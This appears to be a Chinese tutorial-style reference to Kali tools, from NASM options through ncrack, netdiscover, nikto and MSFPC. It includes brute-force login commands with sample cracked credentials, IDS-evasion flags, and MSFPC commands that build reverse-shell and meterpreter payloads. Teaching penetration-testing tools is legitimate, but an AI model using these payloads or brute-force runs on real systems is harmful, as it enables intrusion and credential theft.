NASM通常会为您选择输出文件的名称;这究竟是如何依赖的关于对象文件格式。对于Microsoft目标文件格式(obj,win32和win64),它将删除.asm扩展名(或任何你喜欢使用的扩展名--NAMM不关心)从你的源文件名并替换.obj。对于Unix对象文件格式(aout,as86,coff,elf32,elf64,elfx32,ieee,macho32和macho64)将替代.o。对于dbg,rdf,ith和srec,它将使用.dbg,.rdf,.ith和.srec,并且对于bin格式,它将简单地删除扩展名,这样myfile.asm生成输出文件myfile。

如果输出文件已经存在,则NASM将覆盖它,除非它与输入文件具有相同的名称这种情况下会给出警告,并使用nasm.out作为输出文件名。对于这种行为不可接受的情况,NASM提供-o命令行选项,它允许你指定你想要的输出文件名。您通过跟随名称来调用-o您希望输出文件,无论有无间隔空间。例如:

nasm -f bin program.asm -o program.com
nasm -f bin driver.asm -odriver.sys
请注意,这是一个小的o,并且不同于大写字母O,它用于指定数量需要优化通行证。



-f 选项:指定输出文件格式

如果你不提供-f选项给NASM,它会为你自己选择一个输出文件格式。 在里面NASM的分发版本,默认是bin。 如果你编译了自己的NASM副本,你可以在编译时重新定义OF_DEFAULT,并选择你想要的默认。

与-o一样,-f和输出文件格式之间的中间空格是可选的; 所以 −f elf和−felf都是有效的。可用输出文件格式的完整列表可以通过发出命令nasm -hf来给出;



-l 选项:生成列表文件

如果您向NASM提供-l选项,请按照(通常的可选空间)文件名,NASM将会为您生成一个源代码文件,其中的地址和生成的代码在左边列出实际的源代码,多线宏的扩展(除了那些特别要求的在源列表中没有扩展:见4.3.11节)。 例如:

nasm -f elf myfile.asm -l myfile.lst
如果选择了一个列表文件,你可以用[list - ]关闭源文件的列表,然后把它关掉回到[list +],(默认,显然)。 没有“用户表单”(没有括号)。 这个可以用来列出仅感兴趣的部分,避免过长的列表。



-M 选项:生成Makefile依赖项

这个选项可以用来生成stdout的makefile依赖关系。 这可以重定向到一个文件进一步处理。 例如:

nasm -M myfile.asm> myfile.dep


-MG 选项:生成Makefile依赖项

这个选项可以用来生成stdout的makefile依赖关系。 这与-M选项不同如果遇到一个不存在的文件,它被认为是一个生成的文件,并被添加到依赖列表没有前缀。



-MF 选项:设置Makefile依赖项文件

此选项可与-M或-MG选项一起使用,以将输出发送到文件,而不是标准输出。例如:

nasm -M -MF myfile.dep myfile.asm


-MD 选项:组装并生成相关性

-MD选项充当-M和-MF选项的组合(即,必须指定文件名)。但是,与-M或-MG选项不同,-MD不禁止汇编程序的正常操作。使用它来自动生成更新的每个程序集会话的依赖关系。 例如:

nasm -f elf -o myfile.o -MD myfile.dep myfile.asm


-MT 选项:依赖目标名称

-MT选项可用于覆盖依赖目标的默认名称。 这通常是与由-o选项指定的输出文件名相同。



-MQ 选项:依赖目标名称(引用)

-MQ选项作为-MT选项,除了试图引用在其中有特殊含义的字符Makefile语法。 这并非万无一失,因为并不是所有有特殊含义的人物都可以在Make中引用。默认输出(如果没有指定-MT或-MQ选项)会被自动引用。



-MP 选项:发出假目标

与任何依赖关系生成选项一起使用时,-MP选项会导致NASM发出一个假的目标没有依赖每个头文件。 这可以防止从抱怨,如果一个头文件已被删除。



-MW 选项:Watcom引用引用样式

这个选项会导致NASM尝试根据Watcom Make约定引用依赖关系而不是POSIX Make约定(也被大多数其他Make变体使用)。这引号#为$#而不是\#,使用&而不是\作为连续行,并且包含文件名双引号中的空格。



-F 选项:选择调试信息格式

这个选项用来选择发送到输出文件的调试信息的格式由调试器(或将)使用。 在版本2.03.01之前,使用这个开关并没有启用输出选定的调试信息格式。 使用-g,启用输出。 版本2.03.01和更高版本如果指定-F,则自动启用-g。输出格式的可用调试文件格式的完整列表可以通过发出命令nasm -f <format> -y。 并不是所有的输出格式都支持调试输出。



-g 选项:启用调试信息。

这个选项可以用来以指定的格式生成调试信息。 使用不带-F的-g导致以默认格式发送调试信息,如果有的话,为所选输出格式。 如果当前没有以选定的输出格式执行调试信息,-g是静默的忽略。



-X 选项:选择错误报告格式

这个选项可以用来为可能的错误信息选择错误报告格式由NASM制作。目前,可以选择两种错误报告格式。他们是-Xvc选项和-Xgnu选项。 GNU格式是默认的,如下所示:

filename.asm:65:错误:特定的错误消息

其中filename.asm是检测到错误的源文件的名称,65是源文件

检测到错误的文件行号,错误是错误的严重程度(可能是警告),具体的错误信息是一个更详细的文字信息,这应该有所帮助精确确定问题。

另一种由-Xvc指定的格式是Microsoft Visual C ++和其他一些程序使用的样式。它看起来像这样:filename.asm(65):错误:特定的错误消息

唯一的区别是行号在括号内,而不是由冒号分隔。



-Z 选项:将错误发送到文件

在MS-DOS下,它可能很难(虽然有办法)重定向的标准错误输出程序到一个文件。 由于NASM通常在stderr上产生警告和错误信息,这可以如果(例如)要将它们加载到编辑器中,则很难捕获错误。因此,NASM提供了-Z选项,并带有导致错误发送到的文件名参数指定的文件而不是标准错误。 因此,您可以通过键入将错误重定向到文件中

nasm -Z myfile.err -f obj myfile.asm
在NASM的早期版本中,这个选项被称为-E,但是它被改变了,因为-E是一个选项通常只用于预处理,结果是灾难性的。



-s 选项:将错误发送到标准输出

-s选项将错误消息重定向到标准输出而不是标准错误,因此可以在下面重定向MS-DOS。 要组装文件myfile.asm并将其输出传递给更多程序,可以键入:

nasm -s -f obj myfile.asm | more


-i 选项:包含文件搜索目录

当NASM在源文件中看到%include或%pathsearch指令时,它将不仅在当前目录中搜索给定的文件,而且还将搜索任何文件通过使用-i选项在命令行中指定的目录。所以你可以包含文件从一个宏库,例如,通过键入

nasm -ic:\ macrolib \ -f obj myfile.asm
(像往常一样,-i和路径名之间的空格是允许的,并且是可选的)。

为了完整的源代码可移植性,NASM不理解文件命名正在运行的操作系统的约定;您提供的字符串作为参数的-i选项将是与写入包含文件的名称完全相同。因此在后面的反斜杠上面的例子是必要的。在Unix下,同样需要一个尾随的正斜杠。(你可以使用这个优点,如果你真的反常,注意选项-ifoo会导致%include“bar.i”搜索文件foobar.i ...)如果你想定义一个标准的包含搜索路径,类似于Unix系统上的/ usr / include,那么你应在NASMENV环境变量中放置一个或多个-i指令。对于许多C编译器的Makefile兼容性,此选项也可以指定为-I。



-p 选项:预先包含文件

NASM允许您使用-p选项指定要预先包含在源文件中的文件。 所以赛跑

nasm myfile.asm -p myinc.inc
相当于运行nasm myfile.asm并将指令%include“myinc.inc”放在文件的开始。为了与-I,-D和-U选项保持一致,这个选项也可以被指定为-P。



-d 选项:预定义一个宏

正如-p选项提供了在源文件开始处放置%include指令的替代方法,-d选项给出了放置%define指令的替代方案。 你可以编码

nasm myfile.asm -dFOO = 100
作为放置指令的替代方法

%定义FOO 100

在文件的开始。 您也可以错过宏观价值:选项-dFOO相当于编码%定义FOO。 这种形式的指令对于选择组装时间选项可能是有用的然后使用%ifdef进行测试,例如-dDEBUG。对于许多C编译器的Makefile兼容性,此选项也可以指定为-D。



-u 选项:取消定义宏

-u选项取消定义一个宏,否则它将被自动或者预定义通过前面在命令行中指定的-p或-d选项。

例如,下面的命令行:

nasm myfile.asm -dFOO = 100 -uFOO
会导致FOO不是程序中的预定义宏。 这对覆盖选项很有用在Makefile的不同位置指定。对于许多C编译器的Makefile兼容性,此选项也可以指定为-U。



-E 选项:仅预处理

NASM允许预处理器自己运行,直到一点。 使用-E选项(需要没有参数)将导致NASM预处理其输入文件,展开所有的宏引用,全部删除注释和预处理器指令,并将结果文件打印到标准输出(或保存到一个文件,如果-o选项也被使用)。

该选项不能应用于需要预处理器评估表达式的程序这取决于符号的值:所以代码如%assign tablesize($ --tablestart)会在预处理模式下导致错误。

为了兼容老版本的NASM,这个选项也可以写成-e。 -E在旧版本的NASM相当于现在的-Z选项。



-a 选项:根本不要预处理

如果将NASM用作编译器的后端,则可能需要抑制预处理完全假设编译器已经完成了它,以节省时间和增加编译速度。 -a选项,不需要参数,指示NASM替换其强大的预处理器与不做任何事情的存根预处理器。



-O 选项:指定多通道优化

使用-O选项,您可以告诉NASM执行不同级别的优化。语法是:

-O0:没有优化。如果没有指定一个简短格式,所有操作数都采用长格式有条件的跳转。这是为了匹配NASM 0.98的行为。

-O1:最小化优化。如上所述,但是符合有符号字节的立即操作数是优化,除非长表格被指定。条件跳转默认为长格式,除非否则指定。

-Ox(其中x是实际字母x):Multipass优化。最小化分支偏移并签名即时字节,除非已经使用strict关键字,否则覆盖大小规范)。为了与早期版本兼容,字母x也可以是更大的数字比一个。这个数字对实际的传球次数没有影响。-Ox模式被推荐用于大多数用途,并且是自NASM 2.09以来的默认模式。

请注意,这是一个大写字母O,与用于指定输出文件的小o不同名称。



-t 选项:启用TASM兼容模式

NASM包含与Borland的TASM兼容的有限形式。 当使用NASM的-t选项时,做出以下更改:

本地标签可以用@@替代前缀。

括号内支持大小覆盖。 在TASM兼容模式下,广场内的尺寸覆盖括号会更改操作数的大小,而不是操作数的地址类型NASM语法。 例如。 mov eax,[DWORD val]在TASM兼容模式下是有效的语法。 注意您将无法覆盖该指令的默认地址类型。

支持某些指令的前缀形式(arg,elifelse,endif,if,ifdef,ifdifi,ifndef,include,local



-v 选项:显示版本信息

键入NASM -v将显示您正在使用的NASM的版本以及它所在的日期编译。如果您报告错误,您将需要版本号。对于与Yasm的命令行兼容性,格式--v也可以用于此选项NASM版本.



-y 选项:显示可用的调试信息格式

键入nasm -f <选项> -y 将显示给定的可用调试信息格式的列表输出格式。 默认格式用星号表示。 例如:

nasm -f elf -y


--prefix和--postfix选项。

--prefix和--postfix选项将给定的参数前置或附加到全部全局或外部变量。 例如。 --prefix _将在全局和全部前面加上下划线外部变量,因为C需要在一些系统调用约定中,但不是全部。

示例:

1、将myfile.asm组装成一个ELF对象文件myfile.o

1
nasm -f elf myfile.asm

image-20220412224532248

2、将myfile.asm组装成一个原始的二进制文件myfile.com

1
nasm -f bin myfile.asm -o myfile.com

image-20220412224549978

3、要生成列表文件,在原始文件左侧显示从NASM输出的十六进制代码来源,使用-l选项给出一个列表文件名;

1
nasm -f coff myfile.asm -l myfile.lst

image-20220412224648674

nbtscan

描述:

Nbtscan是一款能够扫描Windows网络NetBIOS信息的网络工具,软件体积极小,功能却很丰富,稳定强。能够准确获取电脑的真实IP地址和mac地址。就是只能在局域网内使用。感兴趣的朋友们可以赶紧下载使用。*但只能用于局域网*,NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。*总之,NBTSCAN可以取到PC的真实IP地址和MAC地址。*

软件功能

  1、获取电脑的真实IP地址和mac地址。

  2、当局域网内有电脑感染病毒木马时,nbtscan能快速找到感染木马的电脑。

  3、查看局域网内其他用户的信息。

软件特点

  1、体积小巧,安装便捷。

  2、界面清爽,操作简单。

  3、功能全面。

参数:.

image-20220412225355588

ncrack

描述:

Ncrack是一个高速的网络认证破解工具,它可以帮助企业测试所有的网络主机和网络设备的密码强度,提高企业网络的安全性。安全专业人员也可使用
Ncrack做渗透测试。Ncrack采用了模块化设计,类似Nmap的命令行语法和一个动态的引擎,该引擎是Ncrack可以依据不同的网络反馈自适应
操作。Ncrack可以可靠的进行大规模网络主机安全审计。Ncrack支持windows和linux系统

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
用法:
ncrack [Options] {target and service specification}

ncrack [选项] {目标和服务规格}



目标规格:

可以通过主机名,IP地址,网络等

例如:scanme.nmap.org,microsoft.com/24,192.168.0.1; 10.0.0-255.1-254

-iX <输入文件名>:从Nmap的-oX XML输出格式输入

-iN <输入文件名>:从Nmap的-oN正常输出格式输入

-iL <输入文件名>:从主机/网络列表中输入

--exclude<host1 [,host2] [,host3],...>:排除主机/网络

--excludefile <exclude_file>:从文件中排除列表



服务规格:

可以通过<service>:// target(标准)表示法或者使用-p将以非标准符号应用于所有主机。

可以将服务参数指定为主机特定的,特定于服务的类型(-m)或全局(-g)。

例如:ssh://10.0.0.10,at=10,cl=30 -m ssh:at = 50 -g cd = 3000

例2:ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl

-p <服务列表>:服务将被应用于所有非标准的符号主机

-m <服务>:<选项>:选项将应用于此类型的所有服务

-g <选项>:选项将应用于全局的每个服务



其他选项:

ssl:通过此服务启用SSL

path <name>:用于模块像HTTP('='需要转义,如果使用)



时间和性能:

采取<time>的选项是以秒为单位的,除非你附加'ms' (毫秒),“m”(分钟)或“h”(小时)的值(例如30m)。



特定于服务的选项:

cl(最小连接限制):最小并发并行连接数

CL(最大连接限制):并行并行连接的最大数量

at(身份验证尝试):每个连接的身份验证尝试

cd(连接延迟):每个连接启动之间的延迟<time>

cr(连接重试):服务连接尝试次数上限

to(超时):服务的最大开发<时间>,不管迄今为止成功

-T <0-5>:设定时间模板(越快越快)

--connection-limit <number>:总并发连接的阈值



认证:

-U <文件名>:用户名文件

-P <文件名>:密码文件

--user <username_list>:逗号分隔的用户名单

--pass <password_list>:逗号分隔的密码列表

--passwords-first:迭代每个用户名的密码列表。默认是相反的。

--pairwise:成对选择用户名和密码。



OUTPUT:

-oN / -oX <文件>:分别以正常和XML格式输出扫描到给定的文件名。

-oA <basename>:一次输出两种主要格式

-v:增加详细程度(使用两次或更多效果更好)

-d [级别]:设置或增加调试级别(最多10个有意义)

--nsock-trace <level>:设置nsock跟踪级别(有效范围:0 - 10)

--log-errors:将错误/警告记录到正常格式的输出文件

--append-output:附加到指定的输出文件而不是clobber



MISC:

--resume <file>:继续先前保存的会话

--save<file>:保存具有特定文件名的恢复文件

-f:在找到一个证书后退出服务

-6:启用IPv6破解

-sL或--list:只列出主机和服务

--datadir <dirname>:指定自定义Ncrack数据文件位置

--proxy <type:// proxy:port>:通过socks4,4a,http进行连接。

-V:打印版本号

-h:打印此帮助摘要页面。



模块:

FTP,SSH,Telnet,HTTP(S),POP3(S),SMB,RDP,VNC,SIP,Redis,PostgreSQL,MySQL

例子:

  1. ncrack -v –user root localhost:22

  2. ncrack -v -T5 https://192.168.0.1

  3. ncrack -v -iX〜/ nmap.xml -g CL = 5,to = 1h

  4. ncrack -v https://www.fujieace.com

image-20220412225753808

一个有代表性的Ncrack扫描

  1. ncrack 10.0.0.130:21 192.168.1.2:22

在2016-01-03 22:10开始Ncrack 0.6(http://ncrack.org)EEST

发现10.0.0.130上的ftp证书21 / tcp:

10.0.0.130 21 / tcp ftp:admin hello1

在192.168.1.2 22 / tcp上发现了ssh的证书:

192.168.1.2 22 / tcp ssh:guest 12345

192.168.1.2 22 / tcp ssh:admin money $

Ncrack完成:在156.03秒扫描了2个服务。

Ncrack完成了。

ncrack效果与评价:

此软件可以说是非常的不错,从上面最后一个示例就可以看出来。此软件并不是万能的,只要你的网站做了一定的安全措施,此工具对你扫描是没有什么太大的效果。

更多内容:https://nmap.org/ncrack/man.html

netdiscover

描述:

netdiscover是一种主动/被动ARP侦察工具,最初开发用于在战争场景中获取有关没有DHCP服务器的无线网络的信息.它也可以用于交换网络.建立在libnet(用C语言编写的小型接口函数库,提供了底层网络数据包的构造,处理和发送功能)和libpcap(UNIX/LINUX下的网络数据包捕获函数包,也是一个小型的接口函数库,用于捕获网络数据包)之上,它可以被动地检测在线主机或通过发送ARP请求来搜索它们.

此外,它还可用于检查网络的ARP流量,或使用自动扫描模式查找网络地址,这将扫描常见的本地网络.

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
-i device(网卡设备)
嗅探和注入数据包的网络接口.如果未指定接口,则将使用第一个可用的网卡接口(可用ifconfig命令查看).

-r range(IP地址范围)
扫描给定范围而不是自动扫描.有效范围值区域例如:192.168.0.0/24,192.168.0.0/16或 192.168.0.0/8.目前,可接受的范围只有/8,/16和/24.(/8,/16,/24代表掩码)

-l file(给定文件列表)
扫描包含在给定文件中的范围,每行必须只包含一个范围.

-p(passive:被动模式)
启用被动模式.在被动模式下,netdiscover不会发送任何内容,而只会嗅探.

-m file(给定文件列表)
扫描已知MAC和主机名的列表.

-F filter(过滤器)
自定义pcap过滤器表达式(默认值:"arp",过滤器表达式可以自己定义).

-s time(时间)
每次ARP请求注入之间的睡眠给定时间(指定等待时间,以毫秒为单位).(默认1)

-n node(节点)
用于扫描的源IP的最后一个IP八位字节(八位二进制).如果已使用默认主机(x.x.x.67),您可以更改它.(允许范围是2到253,默认67)

-c count(计数,发包数量)
发送每个ARP请求的次数.对于有数据包丢失的网络很有用,因此它将扫描每个主机的给定时间.(默认1)

-d
忽略主目录中的配置文件(仅适用于自动扫描和快速模式).这将使用默认范围和IP进行自动扫描和快速模式.有关配置文件的信息,请参见下文.

-f
启用快速模式扫描.这只会扫描每个网络上的 .1、.100 和 .254,此模式在搜索正在使用的范围时很有用,找到此类范围后,您可以进行特定范围扫描以查找在线主机.

-P
生成适合重定向到文件或由另一个程序解析的输出,而不是使用交互模式.启用此选项,netdiscover将在扫描给定范围后停止(输出一个能让另一个程序解析的格式).

-L
与-P类似,但在主动扫描后继续执行程序以被动捕获ARP数据包.

-N
不打印标题.仅在启用-P或-L时有效.

示例:

用eth0快速扫描常用局域网地址(只搜索和自己主机在同一局域网的网关):
netdiscover -i eth0 -f

image-20220412230602060

扫描某些固定范围:
netdiscover -i etho0 -r 172.26.0.0/24
netdiscover -r 192.168.0.0/16
netdiscover -r 192.168.0.0/8

扫描常见LAN地址的睡眠(间隔)时间为0.5秒(默认值为1秒):
netdiscover -s 0.5

image-20220412230736494

在快速模式下扫描固定范围,睡眠(间隔)时间为0.5秒(默认值为1秒):
netdiscover -r 192.168.0.0/16 -f -s 0.5

只嗅探ARP流量,不发送任何内容:
netdiscover -p

image-20220412230915707

NetHunter

描述:

收集kali信息收集ip工具

image-20220412231130060

netmask

描述:

netmaks可以在 IP范围、子网掩码、cidr、cisco等格式中互相转换,并且提供了IP地址的点分十进制、16进制、8进制、2进制之间的互相转换!

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 netmaks -h
This is netmask, an address netmask generation utility
Usage: netmask spec [spec ...]
-h, --help Print a summary of the options
-v, --version Print the version number
-d, --debug Print status/progress information
-s, --standard Output address/netmask pairs(转换到标准的 ip地址/子网掩码)
-c, --cidr Output CIDR format address lists(转换到CIDR格式)
-i, --cisco Output Cisco style address lists(转换到Cisco反向子网掩码)
-r, --range Output ip address ranges(转换到IP地址范围)
-x, --hex Output address/netmask pairs in hex(转换到16进制)
-o, --octal Output address/netmask pairs in octal(转换到10进制)
-b, --binary Output address/netmask pairs in binary(转换到2进制)
-n, --nodns Disable DNS lookups for addresses
-f, --files Treat arguments as input files
Definitions:
a spec can be any of:
address 单独IP
address:address 开始IP:结束IP
address:+address 开始IP:+IP个数
address/mask IP/掩码
an address can be any of:
N decimal number
0N octal number
0xN hex number
N.N.N.N dotted quad
hostname dns domain name
a mask is the number of bits set to one from the left

使用情况如下:

ip范围转换到cidr格式

image-20220412231731070

ip范围转换到标准的子网掩码格式

image-20220412231812237

ip范围转换到cisco格式

image-20220412231848902

cidr个数转换到ip范围格式

image-20220412231942244

把点分10进制的ip转换到二进制

image-20220412232004940

netsniff-ng

描述:

netsniff-ng 是一个高性能的Linux下基于命令行的网络包分析工具,与 tcpdump 和其他基于 libpcap 的包分析器不同的是,netsniff-ng 直接将输入的帧循环映射到接收缓冲区中,这样就可以直接在用户空间中进行方法,而无须在地址空间中复制。可用来调试本地网、测量性能和吞吐量,并生成相应的数据统计报表

参数:

image-20220412233221328

示例:

IPv4 trace of AS with TCP SYN probe (this will most-likely pass):

astraceroute -i eth0 -N -S -H netsniff-ng.org

IPv4 trace of AS with TCP ECN SYN probe:

astraceroute -i eth0 -N -E -H netsniff-ng.org

IPv4 trace of AS with TCP FIN probe:

astraceroute -i eth0 -N -F -H netsniff-ng.org

IPv4 trace of AS with Xmas probe:

astraceroute -i eth0 -N -FPU -H netsniff-ng.org

IPv4 trace of AS with Null probe with ASCII payload:

astraceroute -i eth0 -N -H netsniff-ng.org -X “censor-me” -Z

IPv6 trace of AS up to www.6bone.net:

astraceroute -6 -i eth0 -S -E -N -H www.6bone.net

nikto

描述:

简介

Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。基于Whisker/libwhisker完成其底层功能。

站点
https://cirt.net/Nikto2

github源码
https://github.com/sullo/nikto

使用手册
https://cirt.net/nikto2-docs

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164

•-Cgidirs

  扫描CGI目录。


•-config

  使用指定的config文件来替代安装在本地的config.txt文件


•-dbcheck

 选择语法错误的扫描数据库。


•-evasion


使用LibWhisker中对IDS的躲避技术,可使用以下几种类型:

  1. 随机URL编码(非UTF-8方式)

  2. 自选择路径(/./)

  3. 虚假的请求结束

  4. 长的URL请求

  5. 参数隐藏

  6. 使用TAB作为命令的分隔符

  7. 大小写敏感

  8. 使用Windows路径分隔符\替换/

  9. 会话重组

•-findonly

  仅用来发现HTTP和HTTPS端口,而不执行检测规则


•-Format

  指定检测报告输出文件的格式,默认是txt文件格式(csv/txt/htm)


•-host

  目标主机,主机名、IP地址、主机列表文件。


•-id

  ID和密码对于授权的HTTP认证。格式:id:password


•-mutate

  变化猜测技术

  1.使用所有的root目录测试所有文件

  2.猜测密码文件名字

  3.列举Apache的用户名字(/~user)

  4.列举cgiwrap的用户名字(/cgi-bin/cgiwrap/~user)


•-nolookup

  不执行主机名查找


•-output

  报告输出指定地点


•-port

  扫描端口指定,默认为80端口。


•-Pause

  每次操作之间的延迟时间


•-Display

  控制Nikto输出的显示

  1.直接显示信息

  2.显示的cookies信息

  3.显示所有200/OK的反应

  4.显示认证请求的URLs

  5.Debug输出


•-ssl

  强制在端口上使用SSL模式


•-Single

  执行单个对目标服务的请求操作。


•-timeout

  每个请求的超时时间,默认为10秒


•-Tuning

  Tuning 选项控制Nikto使用不同的方式来扫描目标。

  0.文件上传

  1.日志文件

  2.默认的文件

  3.信息泄漏

  4.注射(XSS/Script/HTML)

  5.远程文件检索(Web 目录中)

  6.拒绝服务

  7.远程文件检索(服务器)

  8.代码执行-远程shell

  9.SQL注入

  a.认证绕过

  b.软件关联

  g.属性(不要依懒banner的信息)

  x.反向连接选项


•-useproxy

  使用指定代理扫描


•-update

  更新插件和数据库

例子:

nikto -up-date #升级

-h 指定扫描的目标 -p 指定扫描的端口(可多个) -C 选项指定CGI目录 -C all 进行暴力猜解cgi 目录,并进行扫描。

nikto -h www.google.com -p 80,81,8080 -C

nikto -h www.google.com -C all

-c /admin #指定目录扫描 cgi扫描只能放到最后

image-20220412234454221

nikto -h www.google.com -o result.txt #-o 报存扫描结果

nikto -h www.google.com -T 49

# -T 指定扫描类型 包含了一些小的选项

-T 隐藏选项如下:

0.文件上传
1.日志文件
2.默认的文件
3.信息泄漏
4.注射(XSS/Script/HTML)
5.远程文件检索(Web 目录中)
6.拒绝服务
7.远程文件检索(服务器)
8.代码执行-远程shell
9.SQL注入
a.认证绕过
b.软件关联
g.属性(不要依懒banner的信息)
x.反向连接选项

nikto –h www.google.com -e 13

# -e 一个大的选项 ,该选项能够对扫描包进行一些变形,绕过IDC检测。

-e 详细选项:

1 进行随机url编码

2 使用相对路径参照 (/ ./)

3 尽可能早的结束url访问

4 使用长随机字符串

5 隐藏参数

6 使用TAB作为命令的分隔符号

7 更改URL大小写

8 使用windows 路径分隔符 \

A 使用回车 (0x0d) 作为请求间隔

B 使用二进制(0x0b) 最为请求间隔

nikto –h www.google.com -D 23

# -D 控制nikto的输出方式 也具有一些小选项:

1 直接显示信息

2 显示cookie信息

3 显示所有 200 /OK 的响应

4 显示需要认证的URL

D Debug输出

V 详细输出

nikto –h www.google.com -F html -o test.html

两个参数一般同时出现,-F指定保存结果文件的类型 -o为结果文件名称

-Single 可以指定HTTP协议内容进行访问

nikto -Single 进入后会提示输入很多内容,不输入的话工具有默认选项。括号中的就是默认值。

nmap

比较知名 直接看教程

https://nmap.org/man/zh/man-examples.html

M

metasploit framework

比较知名

直接看教程

https://blog.csdn.net/weixin_45677145/article/details/111540117

msf payload creater

描述:

简称msfpc

MSFvenom Payload Creator(MSFPC)是一个使用起来十分方便的payload生成器,可以根据用户的选择来生成Metasploit的各种payload。有了它,我们就不需要使用的长长的msfvenom命令来产生payload,从而大大的节省了使用者的时间和精力。

MSFPC只是一个单纯的bash脚本

参数:

1
2
3
4
5
6
7
l TYPE:MSFPC中支持的payload类型如上图所示,可以分别指定为APK [android], ASP, ASPX, Bash [.sh], Java [.jsp], Linux [.elf], OSX [.macho], Perl [.pl], PHP, Powershell [.ps1], python [.py], Tomcat [.war], Windows [.exe //.dll]等。这个选项相当于msfvenom中的-f参数。

l DOMAIN/IP:这个选项相当于msfvenom中的LHOST参数。也就是主控端的IP地址。

l PORT:这个选项相当于msfvenom中的LPORT参数。也就是主控端的端口。

l CMD/MSF: 这个选项决定了当payload执行后,我们将以何种形式来控制目标系统。比如我们想使用标准的命令行来控制目标时,就可以使用CMD选项。如果目标系统是windows,我们就可以使用如下图所示的cmd命令行方式来控制目标。而如果目标是Linux操作系统,我们则使用 /bin/bash的方式来控制目标。

实例

下面我们使用MSFPC来创建一个payload,使用的命令如下所示:

1
$ msfpc cmd windows eth0

成功执行这条命令之后将会产生一个payload,它将会允许你通过使用CMD命令行的方式来控制目标,主控端的IP地址通过eth0设置成了当前kali主机的IP地址。

image-20220413201034824

从图中可以看出来,这条命令一共产生了两个文件:

l 可执行payload文件: windows-shell-staged-reverse-tcp-443.exe

l Rc文件: windows-shell-staged-reverse-tcp-443-exe.rc

这两个文件的命名很容易理解,它们是根据创建时使用的选项命名的。我们刚刚创建的可执行payload文件一旦在目标系统中运行起来,它就会连接到主控端的443端口(反向连接),此时我们就可以利用命令提示符shell来控制目标了。我们在创建payload文件的时候,尽量选择使用reverse(反向)来代替bind(正向)。

资源文件(Resource file,rc)

按照Metasploit官方的解释,资源文件可以帮你自动化的完成一些重复任务。实际上,资源文件就像是批处理脚本,它里面是一组命令。当你在Metasploit中加载这个脚本时,这些命令就会按照顺序执行。你可以将一系列Metasploit控制命令连接在一起来创建资源文件。

下面我们可以使用cat来查看刚刚生成的rc文件:

image-20220413201253930

这里使用的payload选择的参数是cmd,对应的类型是windows/shell/reverse_tcp 。

如果你希望获得更方便的控制权限(就像meterpreter中那样),这时就可以使用msf参数,例如:

1
msfpc msf windows eth0

image-20220413201428693

在使用msf选项之后,我们查看从MSFPC生成的资源文件,就会两次在“set payload”时的差异:image-20220413201555104

这时的payload已经被设置为了 windows/meterpreter/reverse_tcp。写好的资源文件可以使用msfconsole来执行,执行的命令如下所示:

1
msfconsole -q -r '/home/cdxiaodong/windows-meterpreter-staged-reverse-tcp-443-exe.rc'

这里面的-q表示使用静默模式(你将看不到metasploit的执行过程),-r表示执行资源文件。不使用参数-q则可以看到如下所示的metasploit调用过程。image-20220413201714133

我们在这个实例中使用的payload是基于x86的,但目标系统是给予x64体系结构。我们建议使用的payload要与操作系统的体系结构相匹配。在Metasploit中,我们可以从基于x86的进程迁移到基于x64的进程上,也可以使用Metasploit post模块post/windows/manage/archmigrate。

l BIND/REVERSE: 目标系统上执行payload后与主控端建立的连接类型。

l BIND: 将打开目标系统上的一个端口,我们可以使用主控端连接到该端口。这种方式成功的几率并不大,因为目标系统的防火墙规则往往会阻止我们连接到它的端口。

当我们使用下面的命令:

msfpc bind msf windows eth0

就可以生成一个正向的payload。

image-20220413201809985

我们查看生成的资源文件可以看到使用windows/meterpreter/bind_tcp代替了reverse_tcp,

l REVERSE(反向): 这个payload会在攻击者主控端的计算机上打开一个端口,一旦payload在目标设备上执行,就会从目标设备上主动回连主控端。这种连接叫做反向连接,它是绕过入口防火墙的一种非常好的方法,但如果出口(出站)防火墙规则禁止了连接,则可以阻止反向连接。默认情况下,MSFPC将使用REVERSE方式来生成payload。

l STAGED/STAGELESS: payload所使用的类型。

l STAGED: 这个参数会将payload分成多个阶段发送,这样做的好处是可以有效降低payload的大小,默认情况下,MSFPC生成的就是这种多个阶段发送的payload

l STAGELESS:这个参数会产生一个完整的payload,比多个阶段发送的payload更稳定、更可靠,但与分级payload相比,这种payload太大了。

msfpc cmd stageless bind windows eth0

我们查看生成的这个命令生成的资源文件。

image-20220413202041551

可以看到这里面payload被设置为windows/shell_bind_tcp,这是一个stageless类型的payload,它对应着Metasploit中的windows/shell/bind_tcp。

l TCP/HTTP/HTTPS/FIND_PORT: payload与handler通信所使用的方法。

